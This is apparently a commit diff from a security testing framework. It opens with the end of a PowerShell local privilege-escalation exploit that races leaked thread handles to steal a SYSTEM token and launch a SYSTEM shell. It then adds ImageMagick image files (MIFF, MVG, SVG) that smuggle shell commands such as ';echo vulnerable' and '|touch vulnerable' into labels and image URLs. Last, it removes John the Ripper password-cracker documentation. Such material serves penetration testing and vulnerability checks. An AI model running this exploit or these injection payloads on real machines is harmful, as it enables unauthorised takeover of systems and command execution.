echo "[>] Building SYSTEM impersonation token"
|
||||
# SecurityQualityOfService struct
|
||||
$SQOS = New-Object SQOS
|
||||
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
||||
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||
# Undocumented API's, I like your style Microsoft ;)
|
||||
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] NtImpersonateThread failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
$script:SysTokenHandle = [IntPtr]::Zero
|
||||
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
||||
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||
if (!$CallResult) {
|
||||
echo "[!] OpenThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||
echo "[+] Resuming thread.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
}
|
||||
|
||||
# main() <--- ;)
|
||||
|
||||
# Check logical processor count, race condition requires 2+
|
||||
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
# Create array for Threads & TID's
|
||||
$ThreadArray = @()
|
||||
$TidArray = @()
|
||||
|
||||
echo "[>] Duplicating CreateProcessWithLogonW handles.."
|
||||
# Loop Get-ThreadHandle and collect thread handles with a valid TID
|
||||
for ($i=0; $i -lt 500; $i++) {
|
||||
$hThread = Get-ThreadHandle
|
||||
$hThreadID = [Kernel32]::GetThreadId($hThread)
|
||||
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
|
||||
if ($TidArray -notcontains $hThreadID) {
|
||||
$TidArray += $hThreadID
|
||||
if ($hThread -ne 0) {
|
||||
$ThreadArray += $hThread # This is what we need!
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($($ThreadArray.length) -eq 0) {
|
||||
echo "[!] No valid thread handles were captured, exiting!"
|
||||
Return
|
||||
} else {
|
||||
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
|
||||
echo "`n[?] Thread handle list:"
|
||||
$ThreadArray
|
||||
}
|
||||
|
||||
echo "`n[*] Sniffing out privileged impersonation token.."
|
||||
foreach ($Thread in $ThreadArray){
|
||||
|
||||
# Get handle to SYSTEM access token
|
||||
Get-SystemToken
|
||||
|
||||
echo "`n[*] Sniffing out SYSTEM shell.."
|
||||
echo "`n[>] Duplicating SYSTEM token"
|
||||
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||
|
||||
# Simple PS runspace definition
|
||||
echo "[>] Starting token race"
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$StartTokenRace = [powershell]::Create()
|
||||
$StartTokenRace.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
[void]$StartTokenRace.AddScript({
|
||||
Param ($Thread, $hDuplicateTokenHandle)
|
||||
while ($true) {
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
|
||||
}
|
||||
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
|
||||
$AscObj = $StartTokenRace.BeginInvoke()
|
||||
|
||||
echo "[>] Starting process race"
|
||||
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $cmd, $args1,
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
$hTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||
|
||||
# If we can't open the process token it's a SYSTEM shell!
|
||||
if (!$CallResult) {
|
||||
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
Return
|
||||
}
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
}
|
||||
|
||||
# Kill runspace & stopwatch if edge-case
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
}
|
||||
exit
|
||||
Binary file not shown.
|
|
@ -28,7 +28,7 @@ File.readlines(sitelist).each do |site|
|
|||
next if site =~ /^#/
|
||||
|
||||
out = File.join(output, site + ".txt")
|
||||
File.unlink(out) if File.exists?(out)
|
||||
File.unlink(out) if File.exist?(out)
|
||||
|
||||
fd = File.open(out, "a")
|
||||
|
||||
|
|
|
|||
Binary file not shown.
|
|
@ -0,0 +1,14 @@
|
|||
id=ImageMagick version=1.0
|
||||
class=DirectClass colors=0 matte=False
|
||||
columns=1 rows=1 depth=16
|
||||
colorspace=sRGB
|
||||
page=1x1+0+0
|
||||
rendering-intent=Perceptual
|
||||
gamma=0.454545
|
||||
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
|
||||
white-point=0.3127,0.329
|
||||
date:create=2016-05-04T00:19:42-05:00
|
||||
date:modify=2016-05-04T00:19:42-05:00
|
||||
label={";echo vulnerable"}
|
||||
|
||||
:ÿÿÿÿÿÿ
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
push graphic-context
|
||||
encoding "UTF-8"
|
||||
viewbox 0 0 1 1
|
||||
affine 1 0 0 1 0 0
|
||||
push graphic-context
|
||||
image Over 0,0 1,1 'https://localhost";echo vulnerable"'
|
||||
pop graphic-context
|
||||
pop graphic-context
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
|
||||
xlink:href="https://localhost";echo vulnerable"" />
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 593 B |
|
|
@ -0,0 +1,14 @@
|
|||
id=ImageMagick version=1.0
|
||||
class=DirectClass colors=0 matte=False
|
||||
columns=1 rows=1 depth=16
|
||||
colorspace=sRGB
|
||||
page=1x1+0+0
|
||||
rendering-intent=Perceptual
|
||||
gamma=0.454545
|
||||
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
|
||||
white-point=0.3127,0.329
|
||||
date:create=2016-05-04T00:19:42-05:00
|
||||
date:modify=2016-05-04T00:19:42-05:00
|
||||
label={";touch vulnerable"}
|
||||
|
||||
:ÿÿÿÿÿÿ
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
push graphic-context
|
||||
encoding "UTF-8"
|
||||
viewbox 0 0 1 1
|
||||
affine 1 0 0 1 0 0
|
||||
push graphic-context
|
||||
image Over 0,0 1,1 '|touch vulnerable'
|
||||
pop graphic-context
|
||||
pop graphic-context
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
|
||||
xlink:href="|touch vulnerable" />
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 480 B |
Binary file not shown.
137
data/john/README
137
data/john/README
|
|
@ -1,137 +0,0 @@
|
|||
John the Ripper password cracker.
|
||||
|
||||
John the Ripper is a fast password cracker, currently available for
|
||||
many flavors of Unix (11 are officially supported, not counting
|
||||
different architectures), DOS, Win32, BeOS, and OpenVMS (the latter
|
||||
requires a contributed patch). Its primary purpose is to detect weak
|
||||
Unix passwords. Besides several crypt(3) password hash types most
|
||||
commonly found on various Unix flavors, supported out of the box are
|
||||
Kerberos/AFS and Windows LM hashes, plus many more with contributed
|
||||
patches.
|
||||
|
||||
|
||||
How to install.
|
||||
|
||||
See INSTALL for information on installing John on your system.
|
||||
|
||||
|
||||
How to use.
|
||||
|
||||
To run John, you need to supply it with some password files and
|
||||
optionally specify a cracking mode, like this, using the default order
|
||||
of modes and assuming that "passwd" is a copy of your password file:
|
||||
|
||||
john passwd
|
||||
|
||||
or, to restrict it to the wordlist mode only, but permitting the use
|
||||
of word mangling rules:
|
||||
|
||||
john --wordlist=password.lst --rules passwd
|
||||
|
||||
Cracked passwords will be printed to the terminal and saved in the
|
||||
file called $JOHN/john.pot (in the documentation and in the
|
||||
configuration file for John, "$JOHN" refers to John's "home
|
||||
directory"; which directory it really is depends on how you installed
|
||||
John). The $JOHN/john.pot file is also used to not load password
|
||||
hashes that you already cracked when you run John the next time.
|
||||
|
||||
To retrieve the cracked passwords, run:
|
||||
|
||||
john --show passwd
|
||||
|
||||
While cracking, you can press any key for status, or Ctrl-C to abort
|
||||
the session saving its state to a file ($JOHN/john.rec by default).
|
||||
If you press Ctrl-C for a second time before John had a chance to
|
||||
handle your first Ctrl-C, John will abort immediately without saving.
|
||||
By default, the state is also saved every 10 minutes to permit for
|
||||
recovery in case of a crash.
|
||||
|
||||
To continue an interrupted session, run:
|
||||
|
||||
john --restore
|
||||
|
||||
These are just the most essential things you can do with John. For
|
||||
a complete list of command line options and for more complicated usage
|
||||
examples you should refer to OPTIONS and EXAMPLES, respectively.
|
||||
|
||||
Please note that "binary" (pre-compiled) distributions of John may
|
||||
include alternate executables instead of just "john". You may need to
|
||||
choose the executable which fits your system best, e.g. "john-mmx" to
|
||||
take advantage of MMX acceleration.
|
||||
|
||||
|
||||
Features and performance.
|
||||
|
||||
John the Ripper is designed to be both feature-rich and fast. It
|
||||
combines several cracking modes in one program and is fully
|
||||
configurable for your particular needs (you can even define a custom
|
||||
cracking mode using the built-in compiler supporting a subset of C).
|
||||
Also, John is available for several different platforms which enables
|
||||
you to use the same cracker everywhere (you can even continue a
|
||||
cracking session which you started on another platform).
|
||||
|
||||
Out of the box, John supports (and autodetects) the following Unix
|
||||
crypt(3) hash types: traditional DES-based, "bigcrypt", BSDI extended
|
||||
DES-based, FreeBSD MD5-based (also used on Linux and in Cisco IOS), and
|
||||
OpenBSD Blowfish-based (now also used on some Linux distributions and
|
||||
supported by recent versions of Solaris). Also supported out of the box
|
||||
are Kerberos/AFS and Windows LM (DES-based) hashes.
|
||||
|
||||
When running on Linux distributions with glibc 2.7+, John 1.7.6+
|
||||
additionally supports (and autodetects) SHA-crypt hashes (which are
|
||||
actually used by recent versions of Fedora and Ubuntu), with optional
|
||||
OpenMP parallelization (requires GCC 4.2+, needs to be explicitly
|
||||
enabled at compile-time by uncommenting the proper OMPFLAGS line near
|
||||
the beginning of the Makefile).
|
||||
|
||||
Similarly, when running on recent versions of Solaris, John 1.7.6+
|
||||
supports and autodetects SHA-crypt and SunMD5 hashes, also with
|
||||
optional OpenMP parallelization (requires GCC 4.2+ or recent Sun Studio,
|
||||
needs to be explicitly enabled at compile-time by uncommenting the
|
||||
proper OMPFLAGS line near the beginning of the Makefile and at runtime
|
||||
by setting the OMP_NUM_THREADS environment variable to the desired
|
||||
number of threads).
|
||||
|
||||
John the Ripper Pro adds support for Windows NTLM (MD4-based) and Mac
|
||||
OS X 10.4+ salted SHA-1 hashes.
|
||||
|
||||
Contributed patches, combined into the "jumbo patch", add support for
|
||||
many more password hash types, including Windows NTLM (MD4-based)
|
||||
and Mac OS X 10.4+ salted SHA-1 hashes, raw MD5 and SHA-1, arbitrary
|
||||
MD5-based "web application" password hash types, hashes used by SQL
|
||||
database servers (MySQL, MS SQL, Oracle) and by some LDAP servers,
|
||||
several hash types used on OpenVMS, password hashes of the Eggdrop IRC
|
||||
bot, and many others, as well as S/Key skeykeys files and Kerberos TGTs.
|
||||
|
||||
Unlike other crackers, John normally does not use a crypt(3)-style
|
||||
routine. Instead, it has its own highly optimized modules for different
|
||||
hash types and processor architectures. Some of the algorithms used,
|
||||
such as bitslice DES, couldn't have been implemented within the crypt(3)
|
||||
API; they require a more powerful interface such as the one used in
|
||||
John. Additionally, there are assembly language routines for several
|
||||
processor architectures, most importantly for x86-64 and x86 with SSE2.
|
||||
|
||||
|
||||
Documentation.
|
||||
|
||||
The rest of documentation is located in separate files, listed here in
|
||||
the recommended order of reading:
|
||||
|
||||
* INSTALL - installation instructions
|
||||
* OPTIONS - command line options and additional utilities
|
||||
* MODES - cracking modes: what they are
|
||||
* CONFIG (*) - how to customize
|
||||
* RULES (*) - wordlist rules syntax
|
||||
* EXTERNAL (*) - defining an external mode
|
||||
* EXAMPLES - usage examples - strongly recommended
|
||||
* FAQ - guess
|
||||
* CHANGES (*) - history of changes
|
||||
* CONTACT (*) - how to contact the author or otherwise obtain support
|
||||
* CREDITS (*) - credits
|
||||
* LICENSE - copyrights and licensing terms
|
||||
|
||||
(*) most users can safely skip these.
|
||||
|
||||
Happy reading!
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/README,v 1.20 2011/04/27 18:02:49 solar Exp $
|
||||
|
|
@ -1,17 +0,0 @@
|
|||
The jumbo patch, which has been applied to this source tree of John the
|
||||
Ripper, adds a lot of code, documentation, and data contributed by the
|
||||
user community. This is not "official" John the Ripper code. It is
|
||||
very easy for new code to be added to the jumbo patch: the quality
|
||||
requirements are low. This means that you get a lot of functionality
|
||||
that is not "mature" enough or is otherwise inappropriate for the
|
||||
official JtR, which in turn also means that bugs in this code are to be
|
||||
expected, etc.
|
||||
|
||||
If you have any comments on this release or on JtR in general, please
|
||||
join the john-users mailing list and post in there.
|
||||
|
||||
Licensing info:
|
||||
http://openwall.info/wiki/john/licensing
|
||||
|
||||
How to contribute more code:
|
||||
http://openwall.info/wiki/how-to-make-patches
|
||||
|
|
@ -1,3 +0,0 @@
|
|||
This directory contains binaries and source code for John the Ripper v1.7.8 + Jumbo Patch 2
|
||||
John the Ripper is provided under the GPLv2 license. The binaries in this directory were
|
||||
built from the stock source code with no changes.
|
||||
|
|
@ -1,248 +0,0 @@
|
|||
The following changes have been made between John 1.7.7 and 1.7.8:
|
||||
|
||||
* The bitslice DES S-box expressions have been replaced with those generated
|
||||
by Roman Rusakov specifically for John the Ripper. The corresponding assembly
|
||||
code for x86 with MMX, SSE2, and for x86-64 with SSE2 has been re-generated.
|
||||
For other CPUs and for AVX/XOP, C compilers do a reasonably good job of
|
||||
generating the code from the supplied C source files (with intrinsics where
|
||||
relevant). The S-box expressions that we were using before had a 21% larger
|
||||
gate count, so theoretically this could provide a 21% speedup. In practice,
|
||||
though, a 12% to 14% speedup at DES-based crypt(3) hashes is typical.
|
||||
This effort has been sponsored by Rapid7: http://www.rapid7.com
|
||||
* Corrected support for bcrypt (OpenBSD Blowfish) hashes of passwords
|
||||
containing non-ASCII characters (that is, characters with the 8th bit set).
|
||||
Added support for such hashes produced by crypt_blowfish up to 1.0.4, which
|
||||
contained a sign extension bug (inherited from older versions of John).
|
||||
The old buggy behavior may be enabled per-hash, using the "$2x$" prefix.
|
||||
* The external mode virtual machine's performance has been improved through
|
||||
additional multi-op instructions matching common instruction sequences
|
||||
(assign-pop and some triple- and quad-push VM instructions were added).
|
||||
* A few minor bug fixes and enhancements were made.
|
||||
|
||||
The following changes have been made between John 1.7.6.1 and 1.7.7:
|
||||
|
||||
* Added Intel AVX and AMD XOP instruction sets support for bitslice DES
|
||||
(with C compiler intrinsics). New make targets: linux-x86-64-avx,
|
||||
linux-x86-64-xop, linux-x86-avx, and linux-x86-xop (these require recent
|
||||
versions of GCC and GNU binutils).
|
||||
* A "dummy" "format" is now supported (plaintext passwords encoded in
|
||||
hexadecimal and prefixed with "$dummy$") - for faster testing and tuning of
|
||||
custom wordlists, rule sets, .chr files, and external modes on already known or
|
||||
artificial passwords, as well as for testing of future and modified versions of
|
||||
John itself.
|
||||
* Apache "$apr1$" MD5-based password hashes are now supported along with the
|
||||
FreeBSD-style MD5-based crypt(3) hashes that were supported previously. Hashes
|
||||
of both of these types may be loaded for cracking simultaneously.
|
||||
* The "--salts" option threshold is now applied before removal of previously
|
||||
cracked hashes for consistent behavior with interrupted and continued sessions.
|
||||
* The "Idle = Y" setting (which is the default) is now ignored for
|
||||
OpenMP-enabled hash types when the actual number of threads is greater than 1.
|
||||
(Unfortunately, it did not work right at least with GNU libgomp on Linux.)
|
||||
* When a cracking session terminates or is interrupted, John will now warn the
|
||||
user if the cracked passwords printed to the terminal while cracking are
|
||||
potentially incomplete. It will advise the user to use the "--show" option to
|
||||
see the complete set of cracked passwords with proper post-processing.
|
||||
* When loading hashes specified on a line on their own (feature introduced in
|
||||
1.7.6), the loader will now ignore leading and trailing whitespace.
|
||||
* Unless a hash type is forced from the command line, the loader will now print
|
||||
warnings about additional hash types seen in the input files (beyond the hash
|
||||
type autodetected initially).
|
||||
* For use primarily by the jumbo patch (and later by future enhancements to the
|
||||
official versions as well), the loader now includes logic to warn the user of
|
||||
ambiguous hash encodings (e.g. LM vs. NTLM vs. raw-MD5, all of which may be
|
||||
represented as 32 hexadecimal characters) and of excessive partial hash
|
||||
collisions, which it works around (these are typically caused by an incomplete
|
||||
implementation of a new hash type).
|
||||
* The "unique" and "unshadow" programs have been made significantly faster.
|
||||
* "DateTime", "Repeats", "Subsets", "AtLeast1-Simple", "AtLeast1-Generic", and
|
||||
"Policy" external mode samples have been added to the default john.conf.
|
||||
* The self-tests have been enhanced to detect more kinds of program bugs.
|
||||
* A few minor bug fixes and enhancements were made.
|
||||
|
||||
The following changes have been made between John 1.7.6 and 1.7.6.1:
|
||||
|
||||
* Corrected a logic error introduced in JtR 1.7.4.2: in "single crack" mode,
|
||||
we need a salt's key buffer even when we have no words corresponding to that
|
||||
salt's hashes to base candidate passwords on. We need this buffer to hold
|
||||
other salts' successful guesses for testing against this salt's hashes.
|
||||
|
||||
The following changes have been made between John 1.7.5.1 and 1.7.6:
|
||||
|
||||
* Generic crypt(3) support (enabled with "--format=crypt") has been added for
|
||||
auditing password hash types supported by the system but not yet supported by
|
||||
John's own optimized cryptographic routines (such as SHA-crypt and SunMD5).
|
||||
* Optional parallelization of the above has been implemented by means of OpenMP
|
||||
along with glibc's crypt_r(3) or Solaris' MT-safe crypt(3C).
|
||||
* Optional parallelization of John's own optimized code for the OpenBSD-style
|
||||
Blowfish-based crypt(3) (bcrypt) hashes with OpenMP has been added.
|
||||
* A more suitable version of 32-bit x86 assembly code for Blowfish is now
|
||||
chosen on Core i7 and similar CPUs (when they happen to run a 32-bit build).
|
||||
* More optimal DES S-box expressions for PowerPC with AltiVec (making use of
|
||||
the conditional select operation) contributed by Dumplinger Boy (Dango-Chu)
|
||||
have been integrated.
|
||||
* The bitslice DES C source code has been reworked to allow for the use of
|
||||
arbitrary SIMD intrinsics, which was previously only implemented for AltiVec
|
||||
as a special case.
|
||||
* Support for SSE2 and MMX intrinsics with bitslice DES (as an alternative to
|
||||
the supplied assembly code) has been added (currently only enabled for SSE2 on
|
||||
x86-64 when compiling with GCC 4.4+).
|
||||
* Support for mixed-type longer virtual vectors (such as SSE2+MMX, SSE2+ALU,
|
||||
AltiVec+ALU, and other combinations) with bitslice DES has been added (not
|
||||
enabled by default yet, primarily intended for easy benchmarks on future CPUs,
|
||||
with future compiler versions, with even more SIMD instruction sets, and with
|
||||
different DES S-box expressions that might be available in the future).
|
||||
* The obsolete 32-bit SPARC assembly implementation of DES has been dropped.
|
||||
* The loader will now detect password hashes specified on a line on their own,
|
||||
not only as part of an /etc/passwd or PWDUMP format file.
|
||||
* When run in "--stdin" mode and reading candidate passwords from a terminal
|
||||
(to be typed by the user), John will no longer mess with the terminal settings.
|
||||
* John will now restore terminal settings not only on normal termination or
|
||||
interrupt, but also when forcibly interrupted with two Ctrl-C keypresses.
|
||||
|
||||
The following changes have been made between John 1.7.5 and 1.7.5.1:
|
||||
|
||||
* A new numeric variable has been added to the word mangling rules engine:
|
||||
"p" for position of the character last found with the "/" or "%" commands.
|
||||
|
||||
The following changes have been made between John 1.7.4.2 and 1.7.5:
|
||||
|
||||
* Support for the use of "--format" along with "--show" or "--make-charset" has
|
||||
been added.
|
||||
* The choice of .rec and .log filenames for custom session names has been made
|
||||
more intuitive.
|
||||
* Support for "\r" (character lists with repeats) and "\p0" (reference to the
|
||||
immediately preceding character list/range) has been added to the word mangling
|
||||
rules preprocessor.
|
||||
* The undefined and undocumented behavior of some subtle word mangling rules
|
||||
preprocessor constructs has been changed to arguably be more sensible.
|
||||
* Some bugs were fixed, most notably JtR crashing on no password hashes loaded
|
||||
(bug introduced in 1.7.4.2).
|
||||
|
||||
The following changes have been made between John 1.7.4 and 1.7.4.2:
|
||||
|
||||
* Major performance improvements for processing of very large password files
|
||||
or sets of files, especially with salt-less or same-salt hashes, achieved
|
||||
primarily through introduction of two additional hash table sizes (64K and 1M
|
||||
entries), changes to the loader, and smarter processing of successful guesses
|
||||
(to accommodate getting thousands of hashes successfully cracked per second).
|
||||
* Many default buffer and hash table sizes have been increased and thresholds
|
||||
for the use of hash tables lowered, meaning that John will now tend to use
|
||||
more memory to achieve better speed (unless it is told not to with the
|
||||
"--save-memory" option).
|
||||
* Some previously missed common website passwords found on public lists of
|
||||
"top N passwords" have been added to the bundled common passwords list.
|
||||
* Some bugs introduced in 1.7.4 and affecting wordlist mode's elimination of
|
||||
consecutive duplicate candidate passwords have been fixed.
|
||||
|
||||
The following changes have been made between John 1.7.3.4 and 1.7.4:
|
||||
|
||||
* Support for back-references and "parallel" ranges has been added to the
|
||||
word mangling rules preprocessor.
|
||||
* The notion of numeric variables (to be used for character positions
|
||||
and substring lengths along with numeric constants supported previously)
|
||||
has been introduced into the rules engine. Two pre-defined variables
|
||||
("l" for initial or updated word's length and "m" for initial or
|
||||
memorized word's last character position) and 11 user-defined variables
|
||||
("a" through "k") have been added. Additionally, there's a new numeric
|
||||
constant: "z" for "infinite" position or length.
|
||||
* New rule commands have been added: "A" (append, insert, or prefix with a
|
||||
string), "X" (extract a substring from memory and insert), "v" (subtract
|
||||
and assign to a numeric variable).
|
||||
* New rule reject flags have been added: ":" (no-op, for use along with the
|
||||
"parallel" ranges feature of the preprocessor) and "p" (reject unless word
|
||||
pair commands are allowed, for sharing of the same ruleset between "single
|
||||
crack" and wordlist modes).
|
||||
* Processing of word mangling rules has been made significantly faster in
|
||||
multiple ways (caching of the current length, less copying of data, code
|
||||
and data placement changes for better branch prediction and L1 cache usage,
|
||||
compiler-friendly use of local variables, code micro-optimizations,
|
||||
removal of no-op rule commands in an initial pass).
|
||||
* The default rulesets for "single crack" and wordlist modes have been
|
||||
revised to make use of the new features, for speed, to produce fewer
|
||||
duplicates, and to attempt additional kinds of candidate passwords (such
|
||||
as for years 2010 through 2019 with "year-based" rules).
|
||||
* The idle priority emulation code has been optimized for lower overhead when
|
||||
there appears to be no other demand for CPU time.
|
||||
* The default for the Idle setting has been changed from N to Y.
|
||||
|
||||
The following changes have been made between John 1.7.3.1 and 1.7.3.4:
|
||||
|
||||
* "make check" has been implemented (for Unix-like systems only).
|
||||
* The "--test" option will now take an optional argument - the duration of each
|
||||
benchmark in seconds.
|
||||
* Section .note.GNU-stack has been added to all assembly files to avoid the
|
||||
stack area unnecessarily being made executable on Linux systems that use this
|
||||
mechanism.
|
||||
* Some very minor bugs that did not affect normal operation have been fixed.
|
||||
* Some unimportant compiler warnings have been fixed, a source code comment has
|
||||
been made more verbose and more complete.
|
||||
|
||||
The following changes have been made between John 1.7.3 and 1.7.3.1:
|
||||
|
||||
* Corrected the x86 assembly files for building on Mac OS X.
|
||||
* Merged in some generic changes from JtR Pro.
|
||||
|
||||
The following changes have been made between John 1.7.2 and 1.7.3:
|
||||
|
||||
* Two Blowfish-based crypt(3) hashes may now be computed in parallel for much
|
||||
better performance on modern multi-issue CPUs with a sufficient number of
|
||||
registers (e.g., x86-64).
|
||||
* Bitslice DES assembly code for x86-64 has been converted to use
|
||||
instruction pointer relative addressing (needed for Mac OS X support).
|
||||
* New make targets: macosx-universal, macosx-x86-64, solaris-x86-64-cc,
|
||||
solaris-x86-64-gcc, solaris-x86-sse2-cc, solaris-x86-sse2-gcc,
|
||||
solaris-x86-mmx-cc, solaris-x86-mmx-gcc, solaris-x86-any-cc, linux-ia64;
|
||||
other changes to the Makefile.
|
||||
* Minor bug fixes.
|
||||
* "DumbForce" and "KnownForce" external mode samples have been added to the
|
||||
default john.conf.
|
||||
|
||||
The following changes have been made between John 1.7.1 and 1.7.2:
|
||||
|
||||
* Bitslice DES assembly code for x86-64 making use of the 64-bit mode
|
||||
extended SSE2 with 16 XMM registers has been added for better performance
|
||||
at DES-based crypt(3) hashes with x86-64 builds on AMD processors.
|
||||
* New make target for FreeBSD/x86-64.
|
||||
|
||||
The following changes have been made between John 1.7.0.2 and 1.7.1:
|
||||
|
||||
* Bitslice DES code for x86 with SSE2 has been added for better performance
|
||||
at DES-based crypt(3) hashes on Pentium 4 and SSE2-capable AMD processors.
|
||||
* Assorted high-level changes have been applied to improve performance
|
||||
on current x86-64 processors.
|
||||
* New make target for NetBSD/SPARC64.
|
||||
* Minor source code cleanups.
|
||||
|
||||
The following changes have been made between John 1.7 and 1.7.0.2:
|
||||
|
||||
* Minor bug and portability fixes.
|
||||
* Better handling of certain uncommon scenarios and improper uses of John.
|
||||
* Bonus: "Keyboard" cracker included in the default john.conf (john.ini)
|
||||
that will try sequences of adjacent keys on a keyboard as passwords.
|
||||
|
||||
The following changes have been made between John 1.6 and 1.7:
|
||||
|
||||
* Bitslice DES code for x86 with MMX: more than twice faster than older
|
||||
non-bitslice MMX code.
|
||||
* Bitsliced the LM hash code as well: now several times faster.
|
||||
* Significant improvements to the generic bitslice DES code: +20% on RISC.
|
||||
* PowerPC G4+ AltiVec support (Mac OS X and Linux): effective 128-bitness
|
||||
for bitslice DES, resulting in huge speedups.
|
||||
* First attempt at generic vectorization support for bitslice DES.
|
||||
* Two MD5 hashes at a time for extra ILP on RISC: up to +80% on Alpha EV5+.
|
||||
* Generic Blowfish x86 assembly code in addition to the original Pentium
|
||||
version: +15% on the Pentium Pro family (up to and including Pentium III),
|
||||
+20% on AMD K6 (Pentium 4 and newer AMD CPUs are more happy running the
|
||||
original Pentium code for Blowfish).
|
||||
* Verbose logging of events to the global or a session-specific log file.
|
||||
* Better idle priority emulation with POSIX.1b (POSIX.4) scheduling calls.
|
||||
* System-wide installation support for *BSD ports and Linux distributions.
|
||||
* AIX, DU/Tru64 C2, HP-UX tcb files support in unshadow.
|
||||
* New make targets for Linux/x86-64, Linux/PowerPC, FreeBSD/Alpha,
|
||||
OpenBSD/x86-64, OpenBSD/Alpha, OpenBSD/SPARC, OpenBSD/SPARC64,
|
||||
OpenBSD/PowerPC, OpenBSD/PA-RISC, OpenBSD/VAX, NetBSD/VAX, Solaris/SPARC64,
|
||||
Mac OS X (PowerPC and x86), SCO, BeOS.
|
||||
* Bug and portability fixes, and new bugs.
|
||||
* Bonus: "Strip" cracker included in the default john.conf (john.ini).
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/CHANGES,v 1.58 2011/06/22 13:39:46 solar Exp $
|
||||
|
|
@ -1,125 +0,0 @@
|
|||
Customizing John the Ripper.
|
||||
|
||||
John the Ripper's behavior can be customized by editing its
|
||||
configuration file. The configuration file can be named either
|
||||
john.conf (on Unix-like systems) or john.ini (on systems which have a
|
||||
notion of filename "extensions" and limit them to 3 characters).
|
||||
|
||||
This file is searched for in private John's "home directory" and, if
|
||||
not found in the private directory and John is installed system-wide,
|
||||
also in John's system-wide shared data files directory.
|
||||
|
||||
You can set global options, define wordlist and "single crack" mode
|
||||
rules, define parameters for "incremental" modes, or even define a new
|
||||
external cracking mode.
|
||||
|
||||
The configuration file consists of several sections. Each section
|
||||
